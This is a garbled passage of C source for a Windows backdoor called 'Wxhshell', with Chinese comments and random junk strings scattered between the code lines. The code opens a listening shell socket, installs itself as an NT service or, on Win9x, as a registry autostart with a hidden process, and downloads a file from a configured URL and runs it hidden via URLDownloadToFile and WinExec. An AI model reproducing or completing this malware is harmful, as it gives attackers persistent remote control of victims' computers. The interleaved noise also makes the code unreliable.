. char procName[255]; >k5nU^|B1 unsigned long cbNeeded; YRqIC -_ #2s$dI if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wUv
Zc ,,OO2EgZ` CloseHandle(hProcess); 82{Lx7pI K}LmU{/t/ if(strstr(procName,"services")) return 1; // 以服务启动 Z+x,Awq
pO[ @2tF return 0; // 注册表启动 E)7vuWOO } (w}iEm\b To.CY^M // 主模块 8HDYA$L int StartWxhshell(LPSTR lpCmdLine) *F[@lY\p { \9N1: SOCKET wsl; mr&nB BOOL val=TRUE; 07`hQn)Gc int port=0; x\T 9V~8a struct sockaddr_in door; Cz` !j ~bC{R&p if(wscfg.ws_autoins) Install(); 9ldv*9v .5Sw port=atoi(lpCmdLine); xEb+sE6Z ..'k+0u^ if(port<=0) port=wscfg.ws_port; ',$Uw|N CY"&@v1 WSADATA data; yhxen if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;/l$&:
+uZ,}J if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >$Sc}a3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GG<{n$h door.sin_family = AF_INET; Z]OXitt7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); D+.<
kY. door.sin_port = htons(port); 3D|Y4OM o}O" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4LO4SYW7 closesocket(wsl); HGM ?
?= return 1; q% *-4GP } E0?R,+>&4 }81eef4$S if(listen(wsl,2) == INVALID_SOCKET) { TkHyXOk"Ky closesocket(wsl); $v5)d J return 1; j=c=Pe"?u } '9d<vWg Wxhshell(wsl); :buH\LB*P WSACleanup(); <j\osw1R i;Y3pF0%P return 0; IY_u|7d RgTm^?Ex } 2yB)2n#ut S=NP}4w,_) // 以NT服务方式启动 t3LRmjL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =T7lv%u { pAK7V;sJ DWORD status = 0; gbf2ty DWORD specificError = 0xfffffff; Tx)!qpZ a*
2*aH7 serviceStatus.dwServiceType = SERVICE_WIN32; ;zq3>A serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3jR> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4H
4W serviceStatus.dwWin32ExitCode = 0; ayGYVYi serviceStatus.dwServiceSpecificExitCode = 0; (_2Iu%F serviceStatus.dwCheckPoint = 0; CB!5>k+mC serviceStatus.dwWaitHint = 0; *aem5E`c MZPXI{G hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &>%R)?SZh if (hServiceStatusHandle==0) return; xvpCOoGsz {Tr5M o status = GetLastError(); *;N6S~_'Y if (status!=NO_ERROR) >{/As][ { rHSA5.[1P serviceStatus.dwCurrentState = SERVICE_STOPPED; +O]jklS4H serviceStatus.dwCheckPoint = 0;
iwiHw serviceStatus.dwWaitHint = 0; 3P}^Wu serviceStatus.dwWin32ExitCode = status; -=;V*; serviceStatus.dwServiceSpecificExitCode = specificError; 0oC5W?>8s SetServiceStatus(hServiceStatusHandle, &serviceStatus); `qXCY^BH2 return; --D&a;CO} } E`A6GX r:.ydr@ serviceStatus.dwCurrentState = SERVICE_RUNNING; mQ$a^28=qR serviceStatus.dwCheckPoint = 0; LvM;ZfAEv serviceStatus.dwWaitHint = 0; ]'"aVGqa. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n7A %y2 } (7zdbJX 2bnF#-( // 处理NT服务事件,比如:启动、停止 {.HFB:<!} VOID WINAPI NTServiceHandler(DWORD fdwControl) NP+*L|-; { Q$`u=-h| switch(fdwControl) j]6c_r3 { AiDV4lHr case SERVICE_CONTROL_STOP: U@'F9UB` serviceStatus.dwWin32ExitCode = 0; hRc.^"q9 serviceStatus.dwCurrentState = SERVICE_STOPPED; HNMVs]/e serviceStatus.dwCheckPoint = 0;
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L serviceStatus.dwWaitHint = 0; ^7p>p8 { ?7eD<| SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yw!(]8PYdU } ^.Xom~ return; `i"7; _HoV case SERVICE_CONTROL_PAUSE: pD@2Mt0|]= serviceStatus.dwCurrentState = SERVICE_PAUSED; $D%[}[2 break; VV%Q "0\ case SERVICE_CONTROL_CONTINUE: #"PRsMUw serviceStatus.dwCurrentState = SERVICE_RUNNING; e/J|wM9Ak break; '#*5jn]CqB case SERVICE_CONTROL_INTERROGATE: I_aSC 4 break; xRiWg/Z~ }; #q-7#pp SetServiceStatus(hServiceStatusHandle, &serviceStatus); *z3wm-z1& } VNggDKS~K .I1k+
// 标准应用程序主函数 OZCbMeB{+J int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^{l^Z
+b. { j~#nJI5] m1\+~*i // 获取操作系统版本 nyRQ/.3 OsIsNt=GetOsVer(); iH;IXv,b3 GetModuleFileName(NULL,ExeFile,MAX_PATH); $TK<~3` %9HL" // 从命令行安装 M#'j7EMu if(strpbrk(lpCmdLine,"iI")) Install(); z{uRqAG &X%vp?p // 下载执行文件 id=:J7!QU if(wscfg.ws_downexe) { o
00(\ -eb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e^ ZxU/e WinExec(wscfg.ws_filenam,SW_HIDE); 3mCf>qj73 } W6y-~
]$=\zL if(!OsIsNt) { gd=gc<z YP // 如果时win9x,隐藏进程并且设置为注册表启动 &40# _>W7 HideProc(); rd\:. StartWxhshell(lpCmdLine); R4x!b`:i } G Ch]5\ else VAL]\@Q} if(StartFromService()) =TcT` ](o // 以服务方式启动 M7x*LiKc2 StartServiceCtrlDispatcher(DispatchTable); L2$`S'U W else \(g/::| // 普通方式启动 ^v+3qm@, StartWxhshell(lpCmdLine); WA1h|:Z I%#&@ return 0; $bdtiD }
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